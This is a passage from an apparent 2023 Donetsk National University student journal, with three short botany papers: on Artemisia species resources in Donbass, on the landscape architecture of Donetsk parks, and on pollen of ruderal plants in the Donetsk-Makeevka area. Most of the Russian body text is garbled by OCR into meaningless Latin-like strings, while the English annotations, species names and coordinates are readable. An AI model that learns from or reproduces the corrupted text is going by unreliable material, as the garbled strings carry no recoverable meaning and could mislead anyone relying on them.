obwekTamu Jutst Tepputopuu LlenTpansHoro Jlon6acca [3], 9To B CBOXO 0Uepeib OPraHUIECKU
BIIMCBIBAETCS B MIPOrpaMMy 3KOJIOIMYECKOro (PMTOMOHHUTOPHUHIA MPOMBIIUIEHHO Pa3BUTOIO
pernoHa [4] B acmeKkTax CTPYKTYpPHOH (PUTOAMArHOCTUKH TEXHOTEHHBIX 3KOTOIOB [5—10] n
OIICHKH JIOKAJbHBIX JKOCHCTEM II0 OoTaHM4Yecko cocraBiswomer [11-15]. B
HENOCPEACTBEHHON JEATEIbHOCTH HayyHOM paboThl Kadenppl OOTaHUKM U HKOJIOTHU
HaXOAATCS TaKKe BOMNPOCHI SKCIIOHMPOBAHUS PE3YJIbTATOB H300pETEHUMH Ha Hay4yHO-
TEXHUYECKUX MEPONPUATHAX, YTO U OOYCIOBUIO HEOOXOIMMOCTb HAIMCaHUsS HAaCTOSIIEH
paboThl, TOCKOJIbKY MpPOBOIMMBIA HayuHbli ¢(opym B JloHEHKOM HalMOHAJIBHOM
TEXHUYECKOM YHUBEPCHUTETE HE OMyOJIMKOBaJl MaTepuabl KaTajlora H300peTeHui, rie Obul
IIPEJICTaBIIeH YKCIOHAT 10 CTPYKTYPHOI IMarHocTuke nojsiHell B Jlonbacce.

Lenp paboTl — Ha OCHOBAaHMUU TOJATOTOBJIEHHOTO BBICTABOYHOIO MaTrepHasa
MEXYHApOAHOTO 3Kosorndyeckoro ¢opyma B r. JloHelke npoaHaln3upoBaTh MOKa3aTeNn
pEeCYpPCHBIX BO3MOXHOCTEH BUI0B posa Artemisia B JlonOacce (Ha mpuMepe MpOMBIIUICHHBIX
HKOTONOB U Oy(epHBIX TeppuTOpuil MpupoHO-3anoBeaHoro ¢ounna Jlonenxoir HapogHoit
PecniyOnukn).

Mertoanueckyto 0a3y peaiuzyeMoil IporpamMmbl 10 TOHCKY, OOHapyXeHHIO,
UJACHTU(PUKAIUN U HENIOCPEICTBEHHBIM KaMepalIbHbIM pa3pad0TKaM HCIIOIb30BANIN 110 OMBITY
HAy4YHO-MCCIIEI0BATENbCKOM  paboThl  Kadenapel OoTaHMKM M 3Kosoruu  J[oHeukoro
HAI[MOHAJILHOTO YHHBEPCUTETa, B TOM 4YHCIE Ja0OpaTOpUU CTYAEHUECKOr0 Hay4dHOIO
ob1iecTBa Onoaoruyeckoro paxkyabTera B 1enoM [ 16—18], a Takke Ha OCHOBaHMU aBTOPCKHUX
METOJIOB OIICHKH (DUTOCHIPhS TOJIBIHEH B JOHEIIKOM KOHOMHYECKOM peruone [19], uro
TAaK)K€ pPacCMaTpUBAETCS B KOMIUIEKCE BO3MOXKHBIX MAHMITYJIALIMA JUIS TNPOBEIEHUS
9KOJIOTMYECKON 3KCHEepPTU3bl B YCIOBUAX AHTPOIOI€HHO TpaHC(HOPMUPOBAHHBIX SKOTOIMOB
Poccuiickoit ®enepanuu [20-22].

Ha pucynke 1 npencraBieH MakeT SKCIIOHMPOBAHHOIO MaTepuasa Mo CTPYKTYPHBIM
JMAarHOCTHYECKUM TpU3HAKaM BHJIOB poja MoyiblHb B JloHOacce TakuM 00030M, YTOOBI
MOKa3aTh pa3zHooOpa3ne MOpPPOMETPUYECKHX JaHHBIX, KOTOPbIE PEKOMEHIOBAaHBI K
UCTOJb30BAHUIO B (DPUTOTMAOTHOCTHKE 3KCIIPECC-CIIOCOOOM B TOJIEBBIX YCIOBUSAX IMPHU
MEPBUYHOM OTOOpE CBHIPbsl IS MOCJIENYIOIIET0 aHajin3a B KaMepaslbHbIX 00paboTKax.
dotorpaduu MONyuyeHbl C BHUTAIBHBIX NpPENapaToB U OTPaXalOT CTPYKTYpHl NEpBOH
reHepaTUBHOM CTaJNK OHTOI€HETUYECKOTO COCTOSIHUS PACTUTEIbHBIX OPraHU3MOB.
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B Tabnuue pasmemieH MaTepuall IO QAHAIU3Y ChIpbs B TEOJOKAJIUTETaX Kak
TEXHOTEHHBIX IKOTOIOB, TaK M KBA3UIIPUPOJIHBIX 3KOJOTMYECKHX CUCTEM, TJ€ IOKa3aHbI
pe3yJIbTaThl  IIOJIEBOIO JKOJIOIMYECKOrO JKCIEPHMMEHTa Ha OCHOBAaHUU CTPYKTYpPHO-
00TaHWYECKHX KpUTepueB. Puc. 2 — miumocTpanii BApMaHTOB COLIBETUI HA BHICTaBKE.

Kadenpa «boTaHHUKH ¥ SKOJIOTHI
I'OY BIIO «/loHeuxkuii HAUOHAIBHBIN YHUBEPCUTCT»

VYcranoBneHa  MEepCOeKTHBA  CTPYKTYPHOH — AUATHOCTHKH  (DUTOCBIPBS
YKA3aHHOI'O TAKCOHAa (BHIOB POJA MOJIbIHB) B YCIOBHAX cOopa AUKOpacTyLIHX (hopM
pacTeHUd B OOHCUKOM 3KOHOMHYECKOM PEruoHe ¢ ydyeroMm wuH(pOpMauuu o0
HCMOJb30BAHNH 3KCTPAKTOB TMOJBIHEH MTPH BO3MOYKHOM JICUCHHH HJIHU MPO(DUITAKTHKHA
SARS-CoV-2.

K wmertpuueckomy amamu3y mnpeacraBieHel BuAbl poxa Artemisia L.:
1) A. abrotanum L., 2) A. absinthium L., 3) A. annua L., 4) A. armeniaca L.,
5) A. glauca Pall. ex Willd., 6) A. hololeuca M. Bieb. Ex Besser, 7) A. vulgaris L.

BreiOpano npa nmarHocTHUecKHMX TMOKasaTessd: XapaKkTep OIyUWeHHs MNpH
COOTBETCTBHH HOPME IO CTPOCHHIO TPHXOM (KPOKOIIECTO H FOJIOBYATOrO THIOB) H II0
CTPOCHHIO (DHPOMACTHIHBIX BMCCTHIIMIL HA I[OBEPXHOCTH CTCOIsi B CcpenHeil
JopMaLUHi JTHCTOBBIX IJIACTHHOK.

b
Puc. 1 — Maket cTeHzia o TEXHOJIOTUU METPUUYECKON TUATHOCTHKE (DPUTOCHIPHS MOJILIHEH B
JlonOacce: A — HIUTFOCTpAaTUBHAS 9acTh, b — TEKCTOBas 4acTh.

Tabnuna — I'eonokanus coopos Artemisia vulgaris L. u cooTBeTcTBHE aHATOMO-
MOP(OIOTHYECKUX CTPYKTYP HOPME /IS HCIIOIb30BAHHS PACTUTEIHLHOTO ChIPhS

BererarupHas 4acthb FeHepaTI/IBHa}I 4acCTb

I'eonmokanurer
pacTeHus pacTeHus
nonrora — 38°13'44.3"; mupota — 48°15'32.2" | ne coomeemcmeyem | ne coomeemcmeyem
nomrota — 38°8'55.1"; mupora — 48°14'44.9" coomeemcmayem coomeemcmayem
nonrora — 38°12'13.4"; IIUpOTa — 48°14'12.5" | ne coomeemcmayem
nomrota — 38°13'29.3"; mmpota — 48°13'48.0" coomeemcmayem He coomeemcmeyem

nonrora — 38°10'31.9"; mupota — 48°12'36.3" | ne coomeemcmeyem

nonrota — 38°17'7.9"; mupora — 48°15'8.2"

coomeemcmeyem coomeemcemeyem

nonrota — 38°18'48.4"; mmpora — 48°13'5.8"

82




Bectauk CHO JIOHHY. Bpimn. 15. Tom 1: EcrectBennbie Hayku. — 2023.

Takum o00pa3omM, Ha OCHOBAaHUU TMOJATOTOBJICHHOTO BBICTABOYHOTO MaTepuaa
MEXIyHApOJAHOTO JKojJormyeckoro ¢opyma B T. JloHenmke ObUIM TpOaHATHM3UPOBAHBI
MOKa3aTelld PECYPCHBIX BO3MOKHOCTEH BHAOB pomaa Artemisia B Jlonbacce (Ha mpumepe
MPOMBIIIJICHHBIX JKOTONOB W Oy(epHBIX TEppUTOPUN MPUPOIHO-3aMOBEIHOTO (HoHIA
Honenkoit Hapoanoit Peciy6nukm).
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RESOURCE CAPACITY OF SPECIES OF THE GENUS ARTEMISIA DONBASS IN THE
CONTEXT OF EXPOSURE ACTIVITIES

Annotation. On the basis of the prepared exhibition material of the international ecological forum in Donetsk,
indicators of the resource potential of species of the genus Artemisia in the Donbass were analyzed (on the
example of industrial ecotopes and buffer territories of the natural reserve fund of the Donetsk People's
Republic).
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Melnikov D.A., Stupak A.E.

Scientific adviser: Safonov A.l. Ph.D., Head of the Department of Botany and Ecology
Donetsk National University

E-mail: kf.botan@donnu.ru

84



Bectauk CHO JIOHHY. Bpimn. 15. Tom 1: EcrectBennbie Hayku. — 2023.

VK 712.4 : 625.77 (477.60)

3EJIEHASA APXUTEKTYPA ITPOMBIIIIVIEHHO PA3ZBUTOI'O JOHEIIKA:
3CTETUKA, KOMBUHATOPHUKA CTUJIEN

Mo3zzoeenko K.A.
Hayunuwiit pykosooumens: Cagponos A.U., kano.ouon.nayk, 3ae.xagheopoit
Iroy BIIO «/IOHHY»

Annomayus. Ha mpumepe GparMeHTOB caoBO-TIapKOBOW apXUTEKTypHI Topoa JJoHerKa BhIIeTIeHBI HECKOIBKO
MOJXOZ0B B OICHKE OJIaTOCOCTOSHHUS TEPPUTOPHM IO KPUTEPHI0 (PYHKIMOHAIBHOTO M 3CTETUYECKOTO
o3eneHeHHs1. B ancaM6ie mapkoB 1 CKBEpOB 0003HAUCHBI TPAHIINH, COOTBETCTBYIOINE Pa3HBIM TEXHOIOTHIM
U UensiM OnaroycTpodcTBa IPOMBIIUICHHO pa3BUTOIO TOPOJAA C BBICOKAM YPOBHEM aHTPOIOTEHHBIX
TpaHchopMaIuii.

Knrouesvie crosa: [lonbace, Jlonenx, GuTonHANKANMSA, JaH A THAS. ApXUTEKTypa, GPUTOMOHUTOPHUHT.

Wpneonorus pa3BUTHS MPOMBIIUIEHHOW OOTaHUKU cdopMmupoBaHa B 0a30BOil yacTu
sKOJOrHYeckux mporpamm Jlonbacca Kak crnoco® MaKCHMalbHO BO3MOXKHOW ONTHUMH3AINN
TOPOJICKOW Cpelbl MPU YCIIOBUM BBICOKOTO TEXHOTEHHOTO BO3JCHUCTBHA. B MHUpOBOIi Hayke u
MPAKTHKE PAacCCMATPUBACTCSl BOMPOC O0O0S3aTENbHON OIEHKM KadecTBa TOPOACKOW cpedbl B
acriekTe OrarococTosHusl U obiero Oiarononyuus Hacenenus [1-3]. B goHenkom HaydHOM
[EHTpE TMpUd HENOCPEICTBEHHOM YyYaCTWH YUYeHbIX Kadeapsl OOTaHMKHM W IKOJIOTHH
o0s3aTenbHBIM  00pa3oM  oOpabaThiBaeTcsi  peryispHas HWHPOpPMAIUMS O  COCTOSHUH
AHTPOIIOTEHHBIX JKOTOMOB [4—6] W TPOBOIUTCS aHAIHM3 YCHEIIHOCTH WK 3()(EKTUBHOCTH
«GeJIeHbIX» TEXHOJOTUM, KOTOpbIe NOCTUTHYTHl COBMECTHBIMHU YCHJIMSMH TEOPETUYECKUX M
MIPUKJIAHBIX TIOAXO0JIOB B KOMIUIEKCHBIX 3KOJIOTMYECKHX mporpammax Jlonbacca [7, 8], Bkirovas
aCMeKThI 00pa30BaTENbHOM, MEIarOrHuecKoi 1 METONYECKO# AesTenpHocTr [9-11].

Lenb paboTel — Ha mpuMepe (PparMeHTOB Cal0BO-TIAPKOBOM apXUTEKTYpbl ropoja
JloHenKa BBIICTUTh HECKOJIBKO MOJXOJOB B OLIEHKE OJIarOCOCTOSHUS TEPPUTOPUH T10
KpUTEPUIO (PYHKIIMOHAIBHOIO U ACTETUUYECKOT0 03esieHeHus. B ancambiie mapkoB 1 CKBEPOB
HEOOXOAMMO  OINpPENEeNUTh CYUIECTBYIOIME TPAJUIMH, COOTBETCTBYIOIME PA3HBIM
TEXHOJIOTUSIM M IeNsIM OJIaroycTpoicTBa NMPOMBIIIIEHHO Pa3BUTOTO TOpoAa € BBICOKHM
YPOBHEM aHTPOIOTE€HHBIX TpaHCHOpPMAaLIUHi.

B Meronuyeckoit wactu paOOTBl OCHOBBIBAJIUCH Ha HIKOJIOr0-00TaHUYECKHX
TEXHOJIOTUSX B pernoHe [ 12—14], yuutbiBasiu ciocoObl OLEHKH 1 MOHUTOPHHTA 32 00bEKTaMHU
dburtonHaUKaMOHHON  SKcrepTus3bl  [15-19]. Takke o00s3aTeNbHO  YYTCHBI — YXKe
CYIIECTBYIOIIME HApaOOTKH MO JaHIMA(QTHOW apXUTEKType, BBIIOJHEHHBIE CTYACHTaMH
Kadenpsl OOTaHUKH W SKOJOTUMU J(OHEIKOTO HalMOHAJBHOTO YHUBEPCHTETa B paMKax
¢byHKIMOHATBHON akTHBHOCTH CTyneHuYeckoro HaywyHoro oomectBa JlonHY [20-22].
BaxHBIM acrieKTOM HayIHO-TIPAKTHYECKOW YaCTH pabOTHI SBISUICS PETPOCTICKTHBHBIIN aHATTN3
MECTHOCTH, HUCTOpUS CO3AaHUS W (YHKIMOHMPOBAHUS OTIENIBHBIX IAPKOB, CKBEPOB,
O3€JIEHEHUs1 yIUL, OylaroycTpoiictBa sKcTepbepHOro TtHma. OlleHKa peKpearmoHHbIX
TEPPUTOPUN OCHOBBIBAJIaCh Ha OAJIbHOM BBIPAKEHHMM KOMOWHATOPHUKM JIaHIMAPTHO-
apXUTEKTYpHOU CTHiIM3auMu. B pabouelt 4yacTH BBIMOJIHAEMOTO HCCIEI0BATENBCKOIO
NPOEKTa MBI COCTaBWJIM WHBEHTAPU3AIMOHHBIE CHUCKH BHJOB PACTeHHUH, KOTOpHIE
MPEACTABISIIOT CO00M Kak Kapkac JaHAma@THOro aHcamMOJsi, TaK U HUMEIOT OTACIIbHOE
ACTETHYECKOE 3HAYeHWE C TOYKM 3peHUs JaHAma(THOW apXuTeKTypsl. Takue
MOATOTOBUTENbHBIE TPOLEAYpPHl SBISAIOTCS OOOCHOBAaHMEM Ui NPHUJIAHUS Pa3HOTO
ACTETUYECKOT0 CTaTyca TOW TEPPUTOPHH WM y4acTKa TOPOJCKOM MECTHOCTH, KOTOpHIE B
CBOEM COYETAHUU MOTYT OBITh MOJIE3HBI JUIsI AajbHEHIIeH ypaBIeHYeCKON NesSTeIbHOCTH B
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onmaroyctpoiictBe ropojga. Ha pucynkax (puc. 1-3) mnpeacraBineHbl (parMeHTHl U
HMCTOPUYECKOTO M COBPEMEHHOTO aHaiM3a JIaHTaQTHONH apXUTeKTyphl ropoaa JloHenka,
BBIJICJICHBI SKCIIO3UIIMOHHBIE 0COOCHHOCTH.

Pucynok 1 — PerpocnieKTUBHBIN U COBPEMEHHBIN BU3YyalU3allMOHHbBIN aHAIN3 TUIAHUPOBKHU U
naHamadTHON apXUTEKTyphl Topoaa J{oHerka

) 1 ”
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£ N, PN naEth
Pucynok 2 — YyacTku pekpealluoHHOTO Ha3HaueHus ropoja JloHelka ¢ yuetom
MJIAHUPOBKH U JM3aliHa MECTHOCTH
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St o e man N
Pucynok 3 — DnemMeHTsI TaHAIa( THOTO MTPEKTUPOBaHUS B TopoJie JloHenka B
COOTBETCBHHU C pa3HbIMU CTHIIM3allMOHHBIMU ITPUEMAMH 1 3JICMCHTBI JKOJIOTUUECKOM TPOIIbI

9KCKYPCHOHHOT'O THIIA B TOPOAC

Ha ypoBHE 5KOIOro-3cTeTH4YecKoro aHajgu3a ObLIM HCHOJBb30BaHbI 13 KpuTepues
OLIEHKU IO MIKajJe B OJUH CYMMAlMOHHBIA Oaul: BBIIEIEHUE COOTBETCTBHS NMPHHLUITY
«30JI0TOTO  CEUEHUSA», JOCTYNIHOCTb IPOCMOTPA, HAIWYUE JIMHUN  IUIAHUPOBKH,
YPaBHOBELIEHHOCTh KOMIIO3UIMOHHBIX JIMHUH MEXIy cO0OH, pasHooOpa3ue IO LBETYy U
¢dakType ¥ rapMOHHYHOE COUYETaHHE OTTEHKOB, KOHTPACT U MEPEXO, MPOJOJIKUTEIHHOCTD
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JEKOpaTUBHOTO 3((ekTa Ha MPOTKEHUU BCETO TOfla WIH OTIEIbHOIO CE30HAa, YUET CMEHBI
BpPEMEH I'0/1a, 3aBEPIICHNE IKCIIO3ULUH, HATTMYUE CTPYKTYPHOT'O KapKaca U COIyTCTBYIOIINX
AKTYAJTM3UPYIONIMX JeTajeld. B MHBEHTapH3alMOHHOM CIHCKE BBLACTWIA Buabl: Sedum
retroflexum L., Mentha arvensis L., Saxifraga caespitosa L., Armeria alpina (DC.) Wild.,
Sempervivum tectorum L., Alyssum pyrenaicum Lapeyr., Allium schoenoprasum L.S. ampl.,
Dianthys deltoides L. u apyrue BubI.

Hamu Obuia paspaborana oTAelbHas 3KCKYpPCHOHHAs TPOIa, BKIIIOYAOIas pa3HbIe
[IaPKOBBIE 30HBI, MAPILIPYT JUUIS IOTUCTUKY 10 TOPOY ¥ OIIMCaHMsI IPUMEPOB Pa3HbIX CTUJIEH,
IIPUCYTCTBYIOIUX B 3€JICHON apXUTEKTYpE HALIEro ropoja:

— noctMoaepHu3M (5—10% BcTpeyaeMbIX 3JIEMEHTOB apXUTEKTYPHI),

— perynspabii ctuib (6osiee 20% BceX y4acTKOB TPOIIBI),

— nei3axHbIi cTiib (6osee 30% Bcex 37IEMEHTOB JaHAAPTHOTO aHAIK3a),

— MaBPUTAHCKUM (IPEUMYILIECTBEHHO JIJIsl Ta30HOB),

— HaryprapeH (6onee 10% Bcex aHATU3UPYEMBIX KOMITO3UIIUOHHBIX PEIICHUH),

— KaHTpH (€AMHUYHBIE IPUMEPHI OT/IEIbHON CE30HHOW CTHIIN3ALINN),

—mojepH (10 10% aHanu3upyeMbIX MIPUMEPOB C TEHICHIIUEH K YBETUUEHUIO),

— Xal-TeK (10 OLleHKaM TpoIibl — 4 MpuMepa COBPEMEHHBIX JIEMEHTOB),

— MUHUMAIIU3M (B €IMHUYHBIX IPUMEpax OMHUCaH B IKCKYPCUOHHOU TPOIE).

Haunbonpmmii mHTEpEC K aHaN3y OBbLT MPOSIBIICH CO CTOPOHBI SKCKYPCAHTOB B MapKax
um. A.C. llep6akoBa u Kopanbix ¢uryp u Ha OynbBape A.C. IlymikuHa, yHUKaJIbHBIM
KOMITO3UIIMOHHBIM DEILIEHUEM TOJb3yeTcsl mapk ciaBbl — «TBOMM OCBOOOIUTENSIM,
JlonGacc», rAe eCTeCTBEHHBIM CIIOCOOOM WHTETPUPOBAHBI JJIEMEHThl HACAKICHHUI B
MPUPOJHBIN JTaHAIA(T CO CMOTPOBBIMH TEH3aKAMH.

Takum o6pazom, Ha npumepe (pparMeHTOB CaJOBO-NIAPKOBOM apXUTEKTYpbl Topoja
JloHelka BbIJIEJIEHbI HECKOJIBKO YCIEIIHBIX [101X0/I0B B OLIEHKE 0J1aroCOCTOSIHUS TEPPUTOPUN
M0 KpUTEpHUI0 (YHKIHMOHAIBHOIO M 3CTETUYECKOIO O3€JIEeHEHHs; B aHcaMOlile MapKoB M
CKBEpPOB YCTAHOBJICHBI TpPAJUIMH, COOTBETCTBYIOIIME pPAa3HBIM TEXHOJIOTUAM U LEIIM
6J1aroycTpoiicTBa MPOMBIIIICHHO PAa3BUTOIO TOpoJia ¢ BHICOKUM YPOBHEM aHTPOIOTE€HHBIX
TpaHchopmaIui.
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GREEN ARCHITECTURE OF INDUSTRIALLY DEVELOPED DONETSK: AESTHETICS,
COMBINATORICS OF STYLES

Annotation. On the example of fragments of landscape gardening architecture in the city of Donetsk, several
approaches to assessing the well-being of the territory according to the criterion of functional and aesthetic
landscaping are highlighted. In the ensemble of parks and squares, traditions are indicated that correspond to
different technologies and goals for the improvement of an industrialized city with a high level of anthropogenic
transformations.

Keywords: Donbass, Donetsk, phytoindication, landscape architecture, phytomonitoring.
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YK 581.331.2

AHAJIA3 NIBIJIBIHEBDBIX CIIEKTPOB CEJIMTEBHbBIX YYACTKOBT'.

JOHELKA
Mpyopuxk E.A.
Hayunwui pyxosooumenv: Mupnenxo H.C., cmapuwiuii npenooasameins
oy BIIO «/[OHHY»

Annomayus. B paboTe mpeiCTaBIICH aHAIW3 MBUIBIICBBIX 3€PCH HAa aHTPOIOTCHHO-U3MEHECHHBIX YYacTKaX
TOPOJCKON Cpenpl. AHAJIW3 TPOBOAWIM TPUA HIACHTU(GUKAIMH PACTHTEIBHBIX OOBEKTOB Ha OCHOBE
KapTOJIOTHYCCKUX, TAaJTHHOJOTHYCCKAX ¥ aHATOMHYCCKMX JAaHHBIX. YCTAaHOBIICHa, (OpMa, CTPOCHUE,
(bepTHIBHOCTh U 0COOEHHOCTH MBUIBLEBOTO 3epHa. MHpOpMaIus o pa3Mepe NbUIbIBI CPEH N3YYSHHBIX POJIOB
HE3HAYUTENILHO pasinyaetcs. BeipaxeHo enuHooOpaszue B Gpopme MoHabl. [loaydeHHbIC TaHHBIC AOTOTHSIOT
0a3y a’ponalTnHOJIOrMYSCKHUX HCcienoBanuii B Jlonbdacce.

Kniouegvie crnosa: mplbIIeBOE 3epHO, PepTHIILHOCTD, pacpocTpaHeHue, ypoanodiopa, r. JJoHexk.

['opoackas cpena oTiMyaeTcsi OT MPUPOJHON MO PSIAY IKOJIOTUYECKUX MapaMeTpoB
(OCBEIICHHOCTh, KOJIMYECTBO COJIHEYHOU paJMallii TEMIIEPATYPHOTO PEKUMA, BIAKHOCTH,
coctaBy armochepHoro Bo3ayxa). KpymHble ropojga XapakTepu3yeTcs YBEIMYEHHOU
CpeIHEro/I0BOM TeMIiepaTypoit Bosayxa (B cpeaHem Ha 0,5-5 °C Bblllie IO CpaBHEHHIO C
npuropozgom) [1-5].

Bo3ayumneiii 6acceitH Topojia BKJIIOYAET 3HAYUTENIbHOE KOJUYECTBO BBHIOPOCOB
MIPOMBIIIJICHHBIX MPEANPUATHH, 3arps3HAOMUX aTMoc(epy U HEraTMBHO BIMSIONIMX Ha
pa3BHUTHE U KU3HECITOCOOHOCTH pacTeHuid. CMOT, BO3AYIIHAS MBLIh, YacTasi MOBTOPSEMOCTh
TyMaHOB yMeHbIIaloT Ha 20% KOMUYECTBO COTHEUHOUW paaualvu (a B OTJACNbHBIX pailoHax
1o —50%) [1, 6, 7, 8].

B netHue mecsipl mposiBisieTcss Haubojaee HTEHCUBHOE 3arpsi3HEHUE OKPYKaIoIIeH
Cpelbl MPOMBIIIUIEHHOCTRIO U aBTOTpaHcropToM. Hanbosee HarpyxeHHBIE 1O KOJIUYECTBY
3arpsi3HEHUl — 3TO WIOHb, UIOJh U aBTYCT, BCIEACTBHE YETO y TPABIHUCTBIX PACTCHUMN
Ha0JII0TaeTCsl HANOOJBIIAs CTETICHh U3MEHEHUH TeHEPATUBHBIX OPTraHOB, BKITFOUAs IMEPEHOC
cpokoB nBerenus [1, 9 ,10-11].

[TeutbIleBBIC 3€pHA TPEIACTABISIIOT COOOW CTPYKTypHbIE W (DYHKIIMOHAIHHBIC
HBOJIIOIIMOHHBIE aJalTallud PAcTeHWid, YTO TO3BOJIIET HCIOIB30BaTh MX B KadyeCTBE
AKCIIEPUMEHTAILHOTO MaTepHalia B OHOJIOTMYECKUX M JKOJOTHYECCKHX HCCIICOBAHUIX.
[Tbblia UMeEET psif BaKHBIX MPHU3HAKOB HM3MEHSIOUIMXCA B 3aBHCHUMOCTH OT YCJIOBUU
OKpYy>Karomien cpebl (OJISIpPHOCTh, CHMMETpHS, (hopMa, pa3mep, SK3HHA CIIOpoiepMa U T 1. ).
[TokazarereM HOPMATBHOTO KayecTBa TMBUIBIIEBOTO 3€pHA SBISETCS  COJEpPIKaHUE
JOCTaTOYHOTO  KOJUYECTBA Kpaxmajla ¢ BBICOKAS aKTUBHOCTh IEPOKCHIA3BI H
JETUPOTeHA3BI, YTO MPOSIBISIETCS B OKPAIIMBAHUY alleTOKAPMHUHOM. PacTuTenbHas MbUIbla
3arpsI3HEHHBIX TEPPUTOPHUN XapaKTepHu3yeTcs 0ojiee HU3KOW aKTUBHOCTBIO (ocdarasbl, 94To
MIPUBOJIUT K HAPYIIICHUIO YCBOCHUS MBLUIBIIEBOM TPYOKOW OpraHUYeCKIX COSTMHEHUH TTeCTHKA
[12, 13].

B Jlonbacce cymiecTByeT moTpeOHOCTh B H3y4YeHUH YPOAHU3UPOBAHHBIX TEPPUTOPHIA
TUTSE COCTABIICHHS KOJIOTO-(IIOPUCTHUECKOM 0a3bl OIIEHKH COCTOSHUS OKPYKaIOIIEeH Cpe/Ibl U
BO3JICHCTBUS HE HEe€ BOCHHBIX JICWCTBUN U MPOMBIIUIEHHBIX NpeanpusTuii. CliejoBaTeabHoO,
KaueCTBO MBUIBLIEBBIX 3€pEH, HANPSAMYIO  OMNpPENeNsIioNiee WX  CIIOCOOHOCTh K
OILTIOIOTBOPEHUIO, — BAKHEHIIMI TOKa3aTeNb pPENpOIyKTHBHOW OHOJOTHH pAacTeHUH, a
3HAYUT, CTpaTerMu KU3HU OCOOM M MOMYJsIuM B 1enoM. HapyiieHue MHKpocmopo- u

91



Bectauk CHO JIOHHY. Bpimn. 15. Tom 1: EcrectBennsie Hayku. — 2023.

MHUKPOTaMETOT'eHe3a SIBJISICTCS OTBETHBIMH PEaKIMSIMH PACTUTEIBHOTO OpraHu3Ma Ha
BO3JCHUCTBUE HEONArONMpUSATHBIX BHEIIHUX (DAKTOPOB, TOATOMY OHHU MOTYT OBITh
UCTOJNB30BaHbl  JUISI  OLEHKM  DKOJIOTUYECKOW  IUIACTUYHOCTH H  TOJICPAHTHOCTH
PENPOIYKTUBHBIX MEXaHU3MOB pacTeHuii [ 14-16].

Psin uccnenoBanmii, MOCBSIEHHBIX U3YYCHUIO MBUTBIEBBIX CIIEKTPOB, MPOBOIMIIN HA
kadeape O0TaHUKH U dKoJIOTHH [2-16].

[lenb paboTHl — HA KOHKPETHBIX aKTYaJIbHBIX MPUMEPAX IaTh OLIEHKY Pa3HOOOpa3Hs
MAJTMHOJIOTHYECKOTO CIEKTpa COPHO-pyAepalbHBIX pacteHuid JlonOacca, ¢ mocienyromen
OLIEHKOH CTENEeHU MPOMBIIUICHHOTO HAPSHKEHUS TOPOIOB.
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Pucynok 1 — Touku oTb0opa copHO-pyJepaIbHbIX pacTeHUH B JOHEIIKO-MaKeeBCKOM
arJioMepaLum.

HccnenoBanus npoBeaeHbl Ha CeNUTEOHBIX TeppuTopusax JloHenko-MakeeBcKoi
arjoMepaiu B BereTalMoHHbIM ce3oH 2022 roga (puc.l). IlpoBenena uHBeHTapu3anus
IBIIBIEBBIX CHEKTPOB HA YPOBHE OTJIENBHBIX BUAOB MO HUX MJIACTUYHOCTH B JaHMIA(THO-
pacTUTENBHBIX cucTeMax. MopQoJorudyeckuil aHalu3 MbUIBLEBbIX 3€PEH MPOU3BOAUTCS
IJIaBHBIM 00pa3oM Ha OCHOBE IPU3HAKOB anepTypsl. [Ipyrue naamHoOIOrHYecKue Ipu3HaKy,
TakMe KaK OpHAMEHTAlWs SK3WHBI, CJIOW JK3WHBI, pasMep W (opma MBUIBIBI, TaKKe
MPUHUMAIIMCh BO BHUMaHHUE B Ka4€CTBE JOMOTHUTEIbHBIX (PakTOpoB. CpaBHEHME MBUIBLIEBBIX
3epeH NMPOBOAMIN ¢ HHPOPMALMOHHON CUCTEMON UAEHTU(PHUKALIUN PACTUTEIbHBIX OOBEKTOB
Ha OCHOBE KapIIOJIOTHYECKUX, TATMHOJIOTHYECKUX U aHATOMHUYECKUX JIAHHBIX pa3paboTaHHON
6a3oit manabIx B MI'Y [17].

JUist KaX/10T0 U3 MpeACTaBICHHBIX BUI0B ObUIN YCTaHOBJIEHBI OCHOBHBIE MTOKA3aTeNu
pa3sBUTHSI MBUIBIEBOTO 3€pHA.

Senecio vulgaris L. — mbuiblieBbIe 3epHa MOHA[bI; SK3MHA [IMMOBATasl; KOJIUYECTBO
anepTyp 3; KOH(Urypanus anepTyp SKBaTOpHalIbHAs; XapakTep anepTyp OOpo3aHO-OpoBasi;
pa3mep KieTok 3epHa 115,6-132 mxMm; dpeprunbrocTs 90%.

Centaurea jacea L. — npuiblieBbIe 3epHa MOHAJIBI; SK3HMHA IIMIIOBATasl; KOJINYECTBO
anepTyp 3; KOoH(UTypalus amepTyp paccesHHas; XapakTep amepTyp OOpo3IHO-OpoBas;
pa3Mep kieTok 3epHa 99,6-112,3 mxm; dpepTunbHOCTh 86%.
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Consolida arvensis Opiz — mbUIbIIEBBIC 3€pHA MOHAJbI, KOJIUYECTBO amepryp 3;
KOH(HUrypamus anepTyp 3KBaTopuaibHas; XapakTep anepTryp 60posaa; pa3mep KIETOK 3epHa
115,6-132 mxMm; dpepTrsibHOCTb 90 %.

Salvia stepposa L. — mbuiblieBbIe 3€pHA MOHAJBI; DK3MHA CETYATas; KOJIMYECTBO
aneptyp 6; KoHduUTrypalus anepTyp SKBaTOpHAJIbHASA; XapakTep anepTyp 00po3aa; pazmep
KJeTok 3epHa 128-146 mkm; peprunbHOCT 87 %.

Urtica dioica L. — mpuiblieBbIe 3e€pHa MOHAIBI; SK3HUHA TJIaKast; KOJIUYECTBO allepTyp
3; KoHGUTrypanus amnepTyp OSKBaTOpHAJbHAs;, XapakTep amepTyp Iopa; OCOOEHHOCTH;
OTIEPKYIIIOM; pa3Mep KiIeTok 3epHa 98,9-150 mxm, peptunbaOCTh 78 %0.

Plantago major L. — nbuiblieBbIC 3€pHA MOHAJIbI, SK3MHA Oyropdyarasi; KOJHYECTBO
anepTyp Oousbie 6; KOH(UTypalus amepTyp paccesHHas; XapakTep amepryp Iopa;
0COOEHHOCTH OYEPTAHHMS ITOP HEUETKHE; pa3Mep KIeTokK 3epHa 88, 4-102 MM, pepTHIBLHOCTD
98 %.

Plantago stepposa Kuprian — mbuiblieBbIC 3€pHAa MOHAbBI, SK3WHA Oyropuaras;
KOJIMYECTBO arneptyp Oosblie 6; KOH(UTypamusi anepTyp paccesHHas; XapakTep amepTyp
1opa; 0cO0EHHOCTH MOPBI ¢ 000IKOM U ONIEPKYIIOMOM; pa3Mep KieTok 3epHa 117,6-157 mMkm;
beprunbHOCTE 75 %.

Hypericum perforatum L. — mbijiblieBbIe 3€pHA MOHA/IBI; SK3WHA CETYATAST; KOJTUIECTBO
